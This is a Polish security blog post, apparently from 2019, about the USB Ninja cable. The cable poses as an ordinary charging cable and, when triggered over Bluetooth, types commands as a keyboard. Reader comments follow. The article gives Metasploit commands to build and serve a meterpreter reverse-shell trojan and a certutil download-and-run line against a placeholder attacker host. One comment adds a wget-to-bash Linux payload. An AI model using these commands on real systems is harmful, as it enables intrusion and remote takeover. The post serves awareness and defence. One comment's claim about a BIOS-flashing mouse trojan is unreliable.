20:24
21/2/2019

Od ponad 6 lat na swoich wykładach i szkoleniach pokazuję złośliwego pendrive’a, który po chwili zmienia się w klawiaturę i infekuje komputer ofiary. Sztuczka stara jak świat. Wytrawnego pentestera nie zaskoczy, ale na większości ludzi złośliwy pendrive to wciąż coś, co robi wrażenie. Moje urządzenie bazuje na taniej płytce Teensy, choć są pasjonaci, którzy lubią przepłacać za tego typu gadżety i wydają grube dolary na Rubber Ducky.

Od niedawna na rynku dostępny jest jeszcze jeden gracz — USB Ninja — robi dokładnie to samo co reszta “złośliwych pendrive’ów-klawiatur”, ale poza standardowym wzbudzeniem klawiatury po zadanym czasie, USBninję można dodatkowo aktywować na żądanie, przez sygnał wydawany po Bluetooth. USBNinję pokazuję na wykładach od kilku miesięcy, ale ponieważ wiele osób o niego pyta, postanowiłem poświęcić mu osobny artykuł.

USB Ninja

Zaletą USB Ninja jest niewątpliwie wygląd normalnego kabla:

Urządzenie można kupić w kilku wariantach: micro USB, Lightning, USB-C. Sam kabel działa i ładuje urządzenia, zupełnie jak …normalny kabel. Ale kiedy na skojarzonym z kablem pilocie (lub aplikacji na Androida) naciśnie się jeden z 2 przycisków, to kabel zmienia się w klawiaturę i może wypisać jeden z 2 “ładunków”, czyli poleceń. To wygodne, bo można jednym kablem “obsłużyć” 2 różne systemy operacyjne — w końcu klawiszologia i polecenia na każdym z nich troche się od siebie różnią. Najpierw jednak pilota trzeba sobie złożyć…

….a sam kabel zaprogramować za pomocą Arduino IDE:

Po instalacji Arduino należy doinstalować jeszcze te sterowniki oraz w opcjach Arduino IDE dodać manager paczek http://usbninja.com/arduino/package_USBNinja_index.json. Dopiero wtedy w menu pojawi nam się możliwość wybrania płytki “USB Ninja cable”

Pokaz ataku za pomocą kabla

Mój kabel używany do demonstracji na wykładach “Jak nie dać się zhackować?” skonfigurowałem tak, aby działał zarówno na Windowsach jak i na MacOS. Zobaczcie co robi po podpięciu do Windowsa:

A oto drugi z payloadów demonstracyjnych wgranych na mój kabel — wariant “ataku” na MacOS:

Jak widać na obu filmikach, kabel do momentu naciśnięcia przycisku na pilocie jest zwykłym kablem zasilającym (tu zasila miernik pyłów PM2,5). Oba moje payloady są niegroźne i demonstracyjne (odpalenie notatnika w przypadku Windows i Terminala w przypadku MacOS oraz odpowiednio — wypisanie i wypowiedzenie tekstu).

Ale akcje oczywiście mogą być zdecydowanie groźniejsze.

Przejęcie kontroli za pomocą “trojana”

Oto prosty przepis na atak z wykorzystaniem metasploita. Zamiast uruchamiać kablem notatnik, wydajemy polecenie powershella nakazujące pobranie i uruchomienie pliku wykonywalnego (trojana) ze zdefiniowanego wcześniej serwera. Trojana możemy sobie wygenerować np. za pomocą takiego polecenia:

msfpayload windows/meterpreter/reverse_tcp lhost=A.B.C.D lport=443 X > trojan.exe

Gdzie A.B.C.D to IP serwera, na którym odpalony musi być metasploitowy listener, czekający na połączenie z komputera ofiary:

msfconsole
use exploit/multi/handler
payload windows/meterpreter/reverse_tcp
set lhost A.B.C.D
set lport 443
exploit

Po podpięciu przez ofiarę kabla z powyższą konfiguracją i jego aktywacji przy pomocy pilota, na komputerze ofiary wykona się polecenie:

certutil.exe -urlcache -split -f "http://A.B.C.D/trojan.exe" trojan.exe && trojan.exe

co spowoduje, że komputer ofiary pobierze trojana, uruchomi go i nawiążę połączenie z naszą stacją monitoringu (A.B.C.D) na której czeka serwer metasploita gotowy do wydawania złośliwych poleceń. Oto rezultat:

Powyższy przykład infekcji jest celowo uproszczony, po to, aby każdy zrozumiał ideę. W realnym ataku należy oczywiście zadbać o kilka dodatkowych rzeczy, m.in. o obejście asystenta klawiatury na MacOS czy o obfuskację kodu trojana pod Windows tak, aby nie był on wykrywany przez oprogramowanie antywirusowe.

Jak tego dokonać uczymy na naszych szkoleniach z Bezpieczeństwa Sieci Komputerowych (testy penetracyjne), a podstawowe techniki zaciemniania kodu w celu omijania antywirusów opisywaliśmy kiedyś w tym artykule.

Wszystko pięknie, ale…

Jakkolwiek spektakularnie nie wygląda hackowanie kogoś przy pomocy kabla aktywowanego pilotem po Bluetooth, to

należy mieć świadomość, że w praktyce takie ataki prawie w ogóle się nie zdarzają zwykłym ludziom

Koszt przeprowadzenia takiego ataku sprawia, że w większości przypadków zespoły pentesterskie “chwalą” się tymi technikami jedynie na prezentacjach — bo nikt raczej nie wyda kilku tysięcy dolarów, aby “porozrzucać” kilkanaście kabli i liczyć na to, że ktoś wykorzysta je właśnie do ładowania czegoś z portu USB komputera akurat wtedy kiedy pentester będzie w pobliżu ze swoją antenką.

Na marginesie, do zleceń pentesterskich najbardziej optymalne cenowo są Digisparki. Koszt poniżej dolara (czyli ponad 190x mniej niż USB ninja) i można na nich osiągnąć ten sam efekt. Oczywiście zamiast aktywacji po Bluetooth (która w rzeczywistości wcale nie jest tak “wygodna”) zostaje podejście na “timer”, czyli aktywacja “złosliwego” payloadu po zdefiniowanym wcześniej czasie. No i parę minut z lutownicą/taśmą klejącą, bo digisparki trzeba odpowiednio obudować, aby nie straszyły ofiar swoim wyglądem.

Ale to te 2 ataki są straszniejsze niż USB Ninja

Podsumowując, jest bardzo małoprawdopodobne, że ktoś kiedyś zaatakuje Cię “złośliwym kablem USB”, jeśli nie jesteś tzw. HVT. Zdecydowanie bardziej prawdopodobne jest to, że nabierzesz się na phishing, albo ktoś włamie Ci się na jakieś konto w serwisie internetowym, bo miałeś na nim takie samo hasło, jak w innym serwisie, z którego dane wyciekły.

Dlatego, zamiast przejmować się złośliwymi kablami USB / pendrive’ami, lepiej zacznij korzystać z managera haseł i skonfiguruj sobie klucz U2F gdzie się da. Zrób sobie także ten quiz phishingowy. Te trzy działania ochronią Cię przed rzeczywistymi atakami, takimi które naprawdę się zdarzają i których ofiarami padają regularnie dziesiątki tysięcy Polaków.

Nie zrozum mnie źle — oczywiście warto powstrzymywać się przed podpinaniem urządzeń USB niewiadomego pochodzenia pod swój komputer, ale to nie jest tak istotne jak niektórzy “security nindże” chcą Ci wmówić.


Gdybyś chciał poznać inne naprawdę groźne dla Ciebie i spotykane w rzeczywistości ataki, jakich ofiarą faktycznie możesz paść, to wpadnij na 3,5 godzinny wykład pt. “Jak nie dać się zhackować?“. Na wykładzie poznasz kilkadziesiąt praktycznych i prostych do wdrożenia porad, które skutecznie podniosą Twoje bezpieczeństwo pomagając Ci ochronić się przed realnymi atakami. Dowiesz się jak zabezpieczyć przed wyciekiem i kradzieżą nie tylko Twoje dane czy pieniądze, ale także tożsamość.

Na ten wykład powinien przyjść każdy, kto korzysta z internetu na smartfonie lub komputerze. Prowadzimy go przystępnym językiem, przeplatając demonstracjami ataków na żywo — dlatego zabierz ze sobą swoich rodziców! W najbliższych tygodniach będziemy w poniższych miastach:

Więcej na temat tego co będzie na wykładzie dowiesz się stąd, a rezerwacji miejsca na wybranym terminie możesz dokonać klikając tutaj.

Przeczytaj także:

42 komentarzy

Dodaj komentarz
  1. Dziwi mnie brak “dźwięku podłączenia nowego sprzętu”.

    • Jest (na Windows), maszyna wirtualna była ściszona.

  2. Troszke sie zgubilem. Na fejsie jest ze Linucha tez infekuje. Tu piszecie tylko o Macu i Windzie.
    Jak to jest z Linuxem? Sprawdzaliscie i dziala, czy zakladacie ze dziala?

    • Sprawdzalismy. Dziala. Problem dotyczy w zasadzie kazdej platformy ktora obsluguje klawiatury (po usb) :)

    • A co, Linux nie wspiera klawiatur? ;-)

    • no tak zeby zaintalowac oprgogramowanie musimy wpisac haslo dla roota (chyba ze inaczej mamy skonfigurowanego linucha)

    • Nie zawsze “instalacja” oprogramowania jest celem ataku. Wiele innych złych rzeczy zrobić można mając możliwość wydawania poleceń w czyimś shellu…

    • Wcale nie trzeba instalować oprogramowania na koncie roota. Wystarczy skopiować binarkę do jakiegokolwiek podfolderu $HOME i dodać się np. do crona albo .bashrc.

  3. Jest wersja na Linuksa? Czy nawet z tym Pingwin nie jest kompatybilny?

    • Payloady piszesz sam, więc napisanie czegoś w stylu “Super”+term+”Enter”+wget http://a.b.c.d/evil > a.sh && bash a.sh to nie problem. Przycisk Super ma na większości klawiaturach logo Windowsa. Niebezpiecznik po prostu nagrał atak na Windę i Jabłko

  4. Teraz kilka tyś. za rok, dwa, kilka centów.

  5. Koszt ataku jest za wysoki? Kosztowny atak to milion dolarów a dla zazdrosnej dziewczyny koszt 50zl to nic wielkiego :D

  6. Obejście asystenta klawiatury na macOS. Ale jak?

  7. Zastanawia mnie czy można wykryć taką złośliwą elektronikę za pomocą omomierza. Teoretycznie każdy z 4 przewodów (wewnątrz kabla USB) powinien mieć taką samą niską oporność. Przewody wewnątrz kabla USB są zwykle tej samej długości i tego samego przekroju, więc pomijając straty na lutach, wartości powinny być zgodne nawet do 0,01 R. Jeżeli linia danych wchodzi w złośliwy układ i wychodzi za nim (połączenie szeregowe) to na bank będą różnice. Gorzej, gdy układ będzie wpięty równolegle (dopięty do linii bez jej przerywania). Ale być może wtedy omomierz pokaże coś pomiędzy stykami z jednego końca kabla USB – standardowo nie powinien.

    Inny domowy sposób jaki mi się nasuwa, to wielokrotne owinięcie podejrzanej, działającej wtyczki przewodem nawojowym lub wsunięcie jej w gotową cewkę np. wydłubaną z membrany głośnika i podłączenie końcówek wprost do wejścia mikrofonowego komputera lub innego wzmacniacza audio. Przy odpowiednim wzmocnieniu często można dosłownie posłuchać pracy zbliżonej doń elektroniki. Tym bardziej, że wg opisu kabel zawiera moduł BT. Brzmieć może to różne. Czasem jak dźwięki starego modemu łączącego się z internetem. Czasem jak gra ładująca się z taśmy do sprzętu typu Spectrum, Atari. Przyłożenie takiej cewki do kilku miejsc np. pracującego laptopa, ładnie zaprezentuje w słuchawkach (głośnikach) o co chodzi.

    Jeszcze jeden sposób, który przyszedł mi do głowy, to podłączenie podejrzanego kabla przez miernik portu USB (kilkadziesiąt złotych) i obserwowanie, czy sam kabel nie zaczyna pobierać prądu. Przecież nawet czuwanie modułu BT musi być zasilone.

    Na koniec dodam, że i takie domorosłe metody powinny mieć swój wzorzec. Oznacza to, że w tym przypadku najpierw należałoby sprawdzić “co widać i co słychać” przy użyciu prawdziwego kabla-szpiega i dopiero wtedy szukać podobieństw przy badaniu innych. Albo chociaż mieć pewność co do normalnej budowy wielu posiadanych kabli i dzięki temu szukać anomalii u reszty.

    • Co do rezystancji 0.01oma to jest pobożne życzenie… Przeciętny kabel ma raczej na poziomie 0.1 a chiński może dochodzić do pojedynczych omów. (Dlatego te kable “słabo ładują”).

      Co do mierzenia lini danych, to jak jest dobrze zrobiony, można zastosować klucz tranzystorowy, który w odpowiednim momencie łączy linie.

      Co do szumu, z tym bym uważał, bo to rownie dobrze może być szum z ładowarki.

      Jedyny amatorski sposób, który byłby niezawodny to otworzenie takiego kabelka…

    • Nie trzeba otwierać, można go xraynąć. Jak ktoś ma dentystę w pobliżu :) Zdjęcia (karty płatniczej) z mini xraya wychodzą tak: https://niebezpiecznik.pl/post/przeswietlona-zblizeniowa-karta-kredytowa-x-ray/ — prześwietlę ten kabel niebawem.

    • Czy ktoś to posiada taki kabelek mógłby podłączyć go do miernika energii na usb (taka przejściówka z usb na usb, co pokazuje prąd i napięcie). Zwykły kabel nie pobiera prądu, a ten jak się zachowuje?

    • A może po prostu puścić kontrolnie 220 przez podejrzany kabelek. Potencjalna elektronika się usmaży, a dobrej jakości kabel chyba wytrzyma ;)

    • Jest jeszcze prostszy sposób przynajmniej na windę: jeżeli podłączasz taki kabel bez niczego, to widać jak instaluje sterowniki (w tym przypadku klawiatury) więc już w tym momencie powinna zapalić się lampka ostrzegawcza.
      Chyba, że instalacja odbywa się dopiero po czasie/triggerze z bluetooth. Piotrze jak to wygląda w przypadku testowanego urządzenia?

    • Przecież cała sztuczka polega na tym, że ofiara nic nie podejrzewa. Jeśli podejrzewasz, że masz trefny kabel, to to już jest 99,99% sukcesu.

  8. czy istnieje możliwość rozpoznania takiego lub podobnego ataku poprzez porównanie numeru seryjnego podłączonej właśnie klawiatury z numerem seryjnym podłączonego chwile wcześniej na tym samym porcie USB pendrive, kabla lub innego urządzenia? Takie przełączenie może mieć dość charakterystyczny przebieg, czestptliwosc, skok napięcia, przeskoki numerów urządzeń, …

  9. Złośliwy kabel jack, który po podłączeniu zmienia się w zestaw słuchawkowy i wydaje głosowe polecenia do asystenta google/siri.

  10. digisparki są trochę niepewne – wewnętrzny rezonator potrafi trochę pływać i często pojawia się jako “Nierozpoznane urządzenie USB. Niemniej zrobić taki kabel nie jest trudno – można samemu zrobić płytkę – proponowałbym atmega 8 (taniej), 328p (kompatybilna z arduino) – lub 32u4 (natywnie wspierane USB) – wziąć to w jak najmniejszej obudowie dodać mały kwarc SMD z kondensatorami – programowanie przez małe punkty testowe – całość na laminacie 0.9mm (tanio prototyp mozna sobie zamowic na oshpark)- powinno dać się zmieścić w dowolnej wtyczce USB zamiast standardowego plastiku ze stykami. A jak ktos chce zdalne sterowanie to proponuje w necie poszukac ESPUSB – wtedy nie będziemy mieli bluetootha tylko Wifi :) – całość do polutowania za 2$ – i zmieści się w kablu.

  11. Wystarczy jeszcze trochę poczekać, aż da się w takiej małej obudowie schować telefon, a wtedy to my zdalnie możemy pisać po klawiaturze co nam tylko przyjdzie do głowy, nawet z drugiego końca świata…

  12. Czy ja wiem, czy to takie groźne zwłaszcza na linux? Co jak ktoś ma u siebie wdrożoną politykę urządzeń USB, np. za sprawą usbguard? Idąc dalej, jeśli ktoś ma aplikacyjny firewall na bazie cgroups (filtruje output), to ten atak może być w znacznym stopniu udaremniony lub też jego skutki mocno ograniczone. Podobnie też sprawa ma się, gdy w kernelu jest obecna łata TPE (Trusted Path Execution), która w zasadzie mocno ogranicza uruchamianie się syfu na danej maszynie. :D

  13. Piotr, na swoim szkoleniu pokazywałeś “prezerwatywę USB”, możesz podrzucić jakiegoś linka gdzie to najlepiej kupić, żeby też nie przyszło z dodatkiem? :)

    • Nasza niebezliecznikowa lista zakupowa na Amazonie :)

  14. Wasz security.txt na nbzp.cz wygląda jakby pochodził z innego kontenera VPS na tym samym serwerze :). OpenVZ ?
    (bitly.com)

    • Popatrz w rekordy domeny, to stanie się jasne ;)

  15. Piotr, a czy możesz podać linka do tej listy zakupowej na Amazonie? Potrzebuję dobry kabel do ładowania, bo to co jest po sklepach to to samo co na Ali… Tylko are razy droższe.

    • Blitzwolf.
      Najlepsze napięcia trzymają.

  16. Wydaje mi się, że pewnym rozwinięciem tego pomysłu mogą być publiczne ładowarki. Ciekaw jestem kiedy ktoś wpadnie na odpowiedniki bankomatowych skimmerów na to.
    Z drugiej strony jakoś mam opory, przed wtykaniem mojego USB gdzie popadnie..

  17. Ja tak sobie teraz myślę ile to razy ja pożyczałem kabelek od kogoś do ładowania. Co prawda u mnie nie ma co kraść na kompie, ale ja sam użyczałem kabla różnego rodzaju osobistościom, które spotykałem w pracy… Może to nie był prezydent Obama, ale zawsze ktoś co może mieć trochę więcej do “zaoferowania”. Niemniej nikt z nich do końca nie wkładał kabla do komputera, a porostu do ładowarki do gniazdka. Stąd też uważam, że sposób bardzo efektowny do pokazania na prezentacji, ale ograniczony w szerokim stosowaniu :)

  18. kolejny przypiety artykul bez zadnej ikonki pinezki ani nic, znowu ominal mnie przez to tydzien artykulow

    swietny sposob na zepsucie statystyk, nie ma co :)

  19. Byłem zaatakowany trojanem który za pomocą update ulokował się w … myszce Logitech G9. Stopień zaawansowania tego trojana jest niesamowity, potrafi nie tylko udawać klawiaturę lecz również bootować komputer z … myszki. Co więcej, trojan ten korzysta z myszki np. obserwując zmiany oświetlenia w pomieszczeniu. Próby analizy skończyły się uszkodzeniem dwóch płyt głównych (modyfikacje BIOS w locie przez niego). Do bootowania używał zarówno symulowania PXE jak i symulowania FDD (pozostało w BIOS-ach do dzisiaj jako pierwszy numer urządzenia). Odechciało mi się jego analizowania po ciągłych uszkodzeniach sprzętu i programowaniach kości bios. Co ciekawe jedna z płyt używanych w kompie do testów była overclokerska Dual Bios. Na nic się to zdawało. Złośliwy update został mi wstrzyknięty za pomocą modułu NSA (w/g producenta to soft antypiracki) zainstalowanego w Microtiku. Logitech nie używał wtedy HTPPS. Swoją drogą popularne “anteny/routery 5Ghz Mikrotika to straszna wylęgarnia wirusów, co tam się dzieje w “powietrzu” to głowa boli…

  20. wszystkie ninja usb ktore znalazlem byly biale i wygladaly tak samo , jak cos zmien kabel na kolorowy :) no ale dlaczegoby kable “made in china” nie mialyby takich dodatkow w standarcie w innych modelach wykonania kabla ??? no i te ladowarki …

  21. Czy nadejdzie taki dzień że wykłady będą odbywać się w Olsztynie?

  22. od teraz używam emp jammera na każdym kablu

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: